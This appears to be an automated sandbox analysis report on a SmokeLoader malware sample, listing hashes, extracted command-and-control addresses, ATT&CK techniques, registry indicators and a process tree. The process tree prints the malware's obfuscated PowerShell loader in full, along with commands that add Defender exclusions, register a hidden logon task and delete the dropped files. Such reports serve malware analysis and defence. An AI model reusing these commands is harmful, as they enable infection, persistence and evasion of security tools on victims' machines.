smokeloader | 276295eb22a7da1c649a9320612b613fe7201f4ff54fec6e5436b28c9221bda7

Analysis

max time kernel
300s
max time network
282s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
28-03-2023 07:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

finalpayload.exe
Size

29KB
MD5

41fa93a7ec3bd87da29f982e139a0c0f
SHA1

c3919d866cbc2f31efadce588789ca094276468a
SHA256

276295eb22a7da1c649a9320612b613fe7201f4ff54fec6e5436b28c9221bda7
SHA512

5bb7be05caa77868bcf7f6cce56bc210d45c7220039ad9e8222f25d67fffd6b0604f1f0673463c563dbf5911a2a37fd51b3b4985d5da86dd0b45e58e13bbc2bb
SSDEEP

768:uiei6JKbKxBRMlO9uUx6/GRaPN1N//U4ebJb82z:u+YKb2BeIzx6OY1N/gbTz

Score

10^/10

smokeloader backdoor collection trojan

Malware Config

Extracted

Family

smokeloader

Version

2022

http://cdn1.wf/

http://cdn2.wf/

http://cdn3.wf/

http://194.180.48.53/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

BB28.bat.exeWScript.exeJDJWn.bat.exeBA0E.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	BB28.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	JDJWn.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	BA0E.exe

Executes dropped EXE 4 IoCs

Processes:

BA0E.exeBB28.bat.exeJDJWn.bat.exeBA0E.exe

pid process

4992 BA0E.exe
1640 BB28.bat.exe
4980 JDJWn.bat.exe
644 BA0E.exe

pid	process
4992	BA0E.exe
1640	BB28.bat.exe
4980	JDJWn.bat.exe
644	BA0E.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

finalpayload.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	finalpayload.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	finalpayload.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	finalpayload.exe

Modifies registry class 1 IoCs

Processes:

BB28.bat.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings BB28.bat.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	BB28.bat.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

finalpayload.exe

pid	process
2064	finalpayload.exe
2064	finalpayload.exe
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560
2560

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2560
Suspicious behavior: MapViewOfSection 7 IoCs

Processes:

finalpayload.exe

pid process

2064 finalpayload.exe
2560
2560
2560
2560
2560
2560

pid	process
2560

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeBB28.bat.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	1640	BB28.bat.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeShutdownPrivilege	2560
Token: SeCreatePagefilePrivilege	2560
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeIncreaseQuotaPrivilege	4684	powershell.exe
Token: SeSecurityPrivilege	4684	powershell.exe
Token: SeTakeOwnershipPrivilege	4684	powershell.exe
Token: SeLoadDriverPrivilege	4684	powershell.exe
Token: SeSystemProfilePrivilege	4684	powershell.exe
Token: SeSystemtimePrivilege	4684	powershell.exe
Token: SeProfSingleProcessPrivilege	4684	powershell.exe
Token: SeIncBasePriorityPrivilege	4684	powershell.exe
Token: SeCreatePagefilePrivilege	4684	powershell.exe
Token: SeBackupPrivilege	4684	powershell.exe
Token: SeRestorePrivilege	4684	powershell.exe
Token: SeShutdownPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeSystemEnvironmentPrivilege	4684	powershell.exe
Token: SeRemoteShutdownPrivilege	4684	powershell.exe
Token: SeUndockPrivilege	4684	powershell.exe
Token: SeManageVolumePrivilege	4684	powershell.exe
Token: 33	4684	powershell.exe
Token: 34	4684	powershell.exe
Token: 35	4684	powershell.exe
Token: 36	4684	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe
Token: SeRemoteShutdownPrivilege	1264	powershell.exe
Token: SeUndockPrivilege	1264	powershell.exe
Token: SeManageVolumePrivilege	1264	powershell.exe
Token: 33	1264	powershell.exe
Token: 34	1264	powershell.exe
Token: 35	1264	powershell.exe
Token: 36	1264	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

Processes:

cmd.exeBB28.bat.exeWScript.execmd.exeJDJWn.bat.exeBA0E.exe

description	pid	process	target process
PID 2560 wrote to memory of 4992	2560		BA0E.exe
PID 2560 wrote to memory of 4992	2560		BA0E.exe
PID 2560 wrote to memory of 1868	2560		cmd.exe
PID 2560 wrote to memory of 1868	2560		cmd.exe
PID 2560 wrote to memory of 4648	2560		explorer.exe
PID 2560 wrote to memory of 4648	2560		explorer.exe
PID 2560 wrote to memory of 4648	2560		explorer.exe
PID 2560 wrote to memory of 4648	2560		explorer.exe
PID 1868 wrote to memory of 4976	1868	cmd.exe	powershell.exe
PID 1868 wrote to memory of 4976	1868	cmd.exe	powershell.exe
PID 2560 wrote to memory of 208	2560		explorer.exe
PID 2560 wrote to memory of 208	2560		explorer.exe
PID 2560 wrote to memory of 208	2560		explorer.exe
PID 2560 wrote to memory of 1412	2560		explorer.exe
PID 2560 wrote to memory of 1412	2560		explorer.exe
PID 2560 wrote to memory of 1412	2560		explorer.exe
PID 2560 wrote to memory of 1412	2560		explorer.exe
PID 1868 wrote to memory of 1640	1868	cmd.exe	BB28.bat.exe
PID 1868 wrote to memory of 1640	1868	cmd.exe	BB28.bat.exe
PID 1868 wrote to memory of 1640	1868	cmd.exe	BB28.bat.exe
PID 1640 wrote to memory of 1092	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 1092	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 1092	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 3880	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 3880	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 3880	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 4684	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 4684	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 4684	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 1264	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 1264	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 1264	1640	BB28.bat.exe	powershell.exe
PID 1640 wrote to memory of 4240	1640	BB28.bat.exe	WScript.exe
PID 1640 wrote to memory of 4240	1640	BB28.bat.exe	WScript.exe
PID 1640 wrote to memory of 4240	1640	BB28.bat.exe	WScript.exe
PID 4240 wrote to memory of 3052	4240	WScript.exe	cmd.exe
PID 4240 wrote to memory of 3052	4240	WScript.exe	cmd.exe
PID 4240 wrote to memory of 3052	4240	WScript.exe	cmd.exe
PID 3052 wrote to memory of 1476	3052	cmd.exe	powershell.exe
PID 3052 wrote to memory of 1476	3052	cmd.exe	powershell.exe
PID 3052 wrote to memory of 1476	3052	cmd.exe	powershell.exe
PID 3052 wrote to memory of 4980	3052	cmd.exe	JDJWn.bat.exe
PID 3052 wrote to memory of 4980	3052	cmd.exe	JDJWn.bat.exe
PID 3052 wrote to memory of 4980	3052	cmd.exe	JDJWn.bat.exe
PID 4980 wrote to memory of 4368	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 4368	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 4368	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 3884	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 3884	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 3884	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 804	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 804	4980	JDJWn.bat.exe	powershell.exe
PID 4980 wrote to memory of 804	4980	JDJWn.bat.exe	powershell.exe
PID 4992 wrote to memory of 2276	4992	BA0E.exe	powershell.exe
PID 4992 wrote to memory of 2276	4992	BA0E.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\finalpayload.exe
"C:\Users\Admin\AppData\Local\Temp\finalpayload.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2064

C:\Users\Admin\AppData\Local\Temp\BA0E.exe
C:\Users\Admin\AppData\Local\Temp\BA0E.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 3; Set-MpPreference -ExclusionPath C:\
2⤵
PID:2276

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BB28.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -c #
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Users\Admin\AppData\Local\Temp\BB28.bat.exe
"C:\Users\Admin\AppData\Local\Temp\BB28.bat.exe" function EB($l){$l.Replace('OLtMI', '')}$qksP=EB 'COLtMIreOLtMIatOLtMIeDeOLtMIcryOLtMIpOLtMItorOLtMI';$ahgk=EB 'FOLtMIiOLtMIrOLtMIsOLtMItOLtMI';$ouEp=EB 'IOLtMInOLtMIvoOLtMIkeOLtMI';$Dcsx=EB 'GeOLtMItCuOLtMIrOLtMIrOLtMIenOLtMItPOLtMIrOLtMIoOLtMIcOLtMIeOLtMIssOLtMI';$RdjY=EB 'ChOLtMIangeOLtMIExOLtMItOLtMIensOLtMIionOLtMI';$bfsG=EB 'TOLtMIranOLtMIsforOLtMImOLtMIFOLtMIinaOLtMIlBlOLtMIocOLtMIkOLtMI';$fKmA=EB 'ReOLtMIadLiOLtMInOLtMIesOLtMI';$ywZN=EB 'FroOLtMImBasOLtMIeOLtMI64SOLtMItOLtMIriOLtMInOLtMIgOLtMI';$QnVX=EB 'EntOLtMIryOLtMIPoOLtMIiOLtMIntOLtMI';$nBjL=EB 'LOLtMIoOLtMIaOLtMIdOLtMI';function oQqhV($ccopj){$OURSd=[System.Security.Cryptography.Aes]::Create();$OURSd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OURSd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OURSd.Key=[System.Convert]::$ywZN('8vM7XtYnSJxMAw4+UCodgYJgwnx1WXZgZtKKevf8wWQ=');$OURSd.IV=[System.Convert]::$ywZN('/jTu6hYewogIJ5tQleC0Pg==');$rwVRv=$OURSd.$qksP();$Rhdqy=$rwVRv.$bfsG($ccopj,0,$ccopj.Length);$rwVRv.Dispose();$OURSd.Dispose();$Rhdqy;}function yAlqs($ccopj){$EXnnv=New-Object System.IO.MemoryStream(,$ccopj);$vzsel=New-Object System.IO.MemoryStream;$AyqYl=New-Object System.IO.Compression.GZipStream($EXnnv,[IO.Compression.CompressionMode]::Decompress);$AyqYl.CopyTo($vzsel);$AyqYl.Dispose();$EXnnv.Dispose();$vzsel.Dispose();$vzsel.ToArray();}function XYRlA($ccopj,$jzWyp){[System.Reflection.Assembly]::$nBjL([byte[]]$ccopj).$QnVX.$ouEp($null,$jzWyp);}$fHCVk=[System.Linq.Enumerable]::$ahgk([System.IO.File]::$fKmA([System.IO.Path]::$RdjY([System.Diagnostics.Process]::$Dcsx().MainModule.FileName, $null)));$YIaFA = $fHCVk.Substring(3).Split('\');$dCcag=yAlqs (oQqhV ([Convert]::$ywZN($YIaFA[0])));$IqRYc=yAlqs (oQqhV ([Convert]::$ywZN($YIaFA[1])));XYRlA $IqRYc $null;XYRlA $dCcag $null;
2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1640);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\BB28')
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4684

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_JDJWn' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\JDJWn.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1264

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\JDJWn.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\JDJWn.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:3052

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -c #
5⤵
PID:1476

C:\Users\Admin\AppData\Roaming\JDJWn.bat.exe
"C:\Users\Admin\AppData\Roaming\JDJWn.bat.exe" function EB($l){$l.Replace('OLtMI', '')}$qksP=EB 'COLtMIreOLtMIatOLtMIeDeOLtMIcryOLtMIpOLtMItorOLtMI';$ahgk=EB 'FOLtMIiOLtMIrOLtMIsOLtMItOLtMI';$ouEp=EB 'IOLtMInOLtMIvoOLtMIkeOLtMI';$Dcsx=EB 'GeOLtMItCuOLtMIrOLtMIrOLtMIenOLtMItPOLtMIrOLtMIoOLtMIcOLtMIeOLtMIssOLtMI';$RdjY=EB 'ChOLtMIangeOLtMIExOLtMItOLtMIensOLtMIionOLtMI';$bfsG=EB 'TOLtMIranOLtMIsforOLtMImOLtMIFOLtMIinaOLtMIlBlOLtMIocOLtMIkOLtMI';$fKmA=EB 'ReOLtMIadLiOLtMInOLtMIesOLtMI';$ywZN=EB 'FroOLtMImBasOLtMIeOLtMI64SOLtMItOLtMIriOLtMInOLtMIgOLtMI';$QnVX=EB 'EntOLtMIryOLtMIPoOLtMIiOLtMIntOLtMI';$nBjL=EB 'LOLtMIoOLtMIaOLtMIdOLtMI';function oQqhV($ccopj){$OURSd=[System.Security.Cryptography.Aes]::Create();$OURSd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OURSd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OURSd.Key=[System.Convert]::$ywZN('8vM7XtYnSJxMAw4+UCodgYJgwnx1WXZgZtKKevf8wWQ=');$OURSd.IV=[System.Convert]::$ywZN('/jTu6hYewogIJ5tQleC0Pg==');$rwVRv=$OURSd.$qksP();$Rhdqy=$rwVRv.$bfsG($ccopj,0,$ccopj.Length);$rwVRv.Dispose();$OURSd.Dispose();$Rhdqy;}function yAlqs($ccopj){$EXnnv=New-Object System.IO.MemoryStream(,$ccopj);$vzsel=New-Object System.IO.MemoryStream;$AyqYl=New-Object System.IO.Compression.GZipStream($EXnnv,[IO.Compression.CompressionMode]::Decompress);$AyqYl.CopyTo($vzsel);$AyqYl.Dispose();$EXnnv.Dispose();$vzsel.Dispose();$vzsel.ToArray();}function XYRlA($ccopj,$jzWyp){[System.Reflection.Assembly]::$nBjL([byte[]]$ccopj).$QnVX.$ouEp($null,$jzWyp);}$fHCVk=[System.Linq.Enumerable]::$ahgk([System.IO.File]::$fKmA([System.IO.Path]::$RdjY([System.Diagnostics.Process]::$Dcsx().MainModule.FileName, $null)));$YIaFA = $fHCVk.Substring(3).Split('\');$dCcag=yAlqs (oQqhV ([Convert]::$ywZN($YIaFA[0])));$IqRYc=yAlqs (oQqhV ([Convert]::$ywZN($YIaFA[1])));XYRlA $IqRYc $null;XYRlA $dCcag $null;
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4980);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
6⤵
PID:4368

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
6⤵
PID:3884

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\JDJWn')
6⤵
PID:804

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:4648

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:208

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1412

C:\Users\Admin\AppData\Roaming\BA0E.exe
C:\Users\Admin\AppData\Roaming\BA0E.exe
1⤵
- Executes dropped EXE
PID:644

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Email Collection

T1114

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\BA0E.exe.log
Filesize
621B

MD5
8ac365dc282788c15f8acf7d54b6f633

SHA1
06ba77cb09a2c33bf03f6506f47fe7fbb396ae1a

SHA256
2c09c3a4a8926cac0a5abb3cd34c92c78ec66d87e0e225a04f26e02d6630bdeb

SHA512
73a80236ab1b2fd69384ea047667d784e0b4ce4064a57ee6c6e23ee61e58fad37346c42792cf4d9cbcfe52e3f7c72ef5eada6fa025a262adf57a4b80123e4a14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
20KB

MD5
51cc7d81444a7ff200a314564a88b036

SHA1
83edb82e91c96a05d3d88d4e9425b141f613420e

SHA256
80d7dbc2c9eab54d7c05c876a1da222a69b632a95fe9558617cfb76429c7f7d7

SHA512
0375a7089a46c2f6bbbcb4b87ad670a5f56ab551c89638ba33a5b892ed9a11271de106a5ea5606ec04c4aca14c3011945bda0e873b47adbb49d44b5ee34d1583

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
f294dbf5ccabca6d25aa5325d4617973

SHA1
9f9d48e1343905da768aec3fbd36e33aac98db4f

SHA256
75aff602bd35c3a52f9454b6394f6f8918b0b28385f9266673c6817368ef879b

SHA512
1327fcc355e4d31d7771694e223c855275b890622affe9e1cec3d1a8d35d804bd655d5e509c08fa2cdecb40da117d9e12021c09ea237881fb5b4716450d11462

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
f294dbf5ccabca6d25aa5325d4617973

SHA1
9f9d48e1343905da768aec3fbd36e33aac98db4f

SHA256
75aff602bd35c3a52f9454b6394f6f8918b0b28385f9266673c6817368ef879b

SHA512
1327fcc355e4d31d7771694e223c855275b890622affe9e1cec3d1a8d35d804bd655d5e509c08fa2cdecb40da117d9e12021c09ea237881fb5b4716450d11462

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
15KB

MD5
00e19a0253b66493347cea6fd6b1fe8e

SHA1
455a356ff7af54b9602b0ef8ded2c9149fabef56

SHA256
d70e520295ae71d6ebb1e06c599c18817f46a36a4348d56ba90449b68461e0c8

SHA512
dcd43d6c387c45c7f48b032c6b4de7746be702bce514117306566932dbbb2b83fcd727cab4ae7dfeb14ef1c726b070fab278c9e99cd893d0a27f4c862c313d1e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
15KB

MD5
00e19a0253b66493347cea6fd6b1fe8e

SHA1
455a356ff7af54b9602b0ef8ded2c9149fabef56

SHA256
d70e520295ae71d6ebb1e06c599c18817f46a36a4348d56ba90449b68461e0c8

SHA512
dcd43d6c387c45c7f48b032c6b4de7746be702bce514117306566932dbbb2b83fcd727cab4ae7dfeb14ef1c726b070fab278c9e99cd893d0a27f4c862c313d1e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
0d3d56ead25971f485976e4a6e0ddfef

SHA1
b4ed5c744d7b5db82d68586b0e478632676c0314

SHA256
9473142868d481506748d49e076a1610dec9d02c7dbd9371c1fd6dc8e718fdac

SHA512
346be077ac88eafb6cba27e686c083ab5fb243ea1a25c53919427b0d204171febab002cb0b87ef404b714ab20f76fd0681679a645dd4fa5c1d8b68f054a143be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
19KB

MD5
347bbd69d26ba8211434960d254f098d

SHA1
59eb0612a9d21c0b3930c78669c4196423cb88bc

SHA256
eb4b0880164d9a009e5cca5137a9636c6483c3e947087d2e6b78210bf2270969

SHA512
78d8437dfd75d8748b14bcd5418ffac5164b5d2cd4858141d4ac31fd00fca47a8e49d1d891067235174109a75d1c1dfd9bd12ce36a2bc8e880dea71a5d89007b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
3f5ba7fd5130c36577360a2cdf9e9322

SHA1
75937d4e5946ec19d7f4915d572b08fe539278f9

SHA256
011722d40c93ee851d473b59d3e41538be0230a113b324a9078b96fd94796b6f

SHA512
306b1a44bae6e906af48da3d90018f25fac2c3d5e23bfd1c0d1a0474a2c2f2946755dd03b8ecf274bdedfc0e6bfbf203e7f1e93acbd715477a52bbdedc4fc930

Download Submit
C:\Users\Admin\AppData\Local\Temp\BA0E.exe
Filesize
570KB

MD5
995514f86e47ac57aab14bba9bfd1a47

SHA1
